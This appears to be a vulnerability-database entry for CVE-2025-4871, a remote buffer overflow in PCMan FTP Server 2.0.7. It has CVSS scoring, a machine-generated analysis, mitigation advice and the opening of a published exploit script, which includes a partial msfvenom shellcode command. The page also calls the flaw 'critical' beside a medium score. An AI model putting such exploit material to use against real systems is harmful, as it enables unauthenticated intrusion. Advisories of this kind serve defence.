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CVE-2025-4871: Buffer Overflow in PCMan FTP Server

0
Medium
Published: 08/18/2026 (08/18/2026, 00:00:00 UTC)
Source: CVE
Vendor/Project: PCMan
Product: FTP Server

Description

CVE-2025-4871 is a critical buffer overflow vulnerability in PCMan FTP Server version 2.0.7. It affects the REST Command Handler component and can be exploited remotely without authentication. The vulnerability has a CVSS 4.0 base score of 6.9, indicating medium severity. Public exploit code has been disclosed, but there are no known exploits in the wild. No official patch or remediation guidance is currently provided.

CVSS v4.0

Score 6.9medium

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vuln. Confidentiality
Low
Vuln. Integrity
Low
Vuln. Availability
Low
Subsq. Confidentiality
None
Subsq. Integrity
None
Subsq. Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Affected software

Affected versions
=2.0.7

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 08/18/2026, 16:50:56 UTC

Technical Analysis

This vulnerability in PCMan FTP Server 2.0.7 involves a buffer overflow triggered by specially crafted input processed by the REST Command Handler. The flaw allows remote attackers to potentially execute arbitrary code or cause a denial of service. The vulnerability requires no privileges or user interaction and has low vector complexity. The CVSS 4.0 vector indicates limited confidentiality, integrity, and availability impacts without scope change. Exploit code has been publicly disclosed, increasing the risk of exploitation.

Potential Impact

Successful exploitation may allow remote code execution or denial of service on affected systems running PCMan FTP Server 2.0.7. The vulnerability does not require authentication or user interaction, making it accessible to unauthenticated remote attackers. The impact on confidentiality, integrity, and availability is limited but present. No active exploitation in the wild has been reported to date.

Mitigation Recommendations

No official patch or remediation is currently available for this vulnerability. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is released, consider disabling or restricting access to the REST Command Handler functionality or the FTP server itself to trusted networks only.

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Technical Details

Data Version
5.1
Assigner Short Name
VulDB
Date Reserved
2025-05-16T19:29:13.226Z
Cisa Enriched
true
Cvss Version
4.0
State
PUBLISHED

Indicators of Compromise

Exploit Source Code

Exploit Code

Exploit code for PCMan 2.0.7 - Buffer Overflow

# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# Google Dork: [if applicable]
# Date: 05/18/2025
# Exploit Author: Thiago Cunha - A.K.A. Blu3B3@rd
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP Professional, Service Pack 2 and Service Pack 3
# CVE : CVE-2025-4871

import socket
import time

# The command to generate shellcode
# msfvenom -p windows/shell
... (2912 more characters)
Code Length: 3,412 characters

Threat ID: 682cd0f81484d88663aeb7ab

Added to database: 05/20/2025, 18:59:04 UTC

Last enriched: 08/18/2026, 16:50:56 UTC

Last updated: 08/18/2026, 22:49:23 UTC

Views: 124

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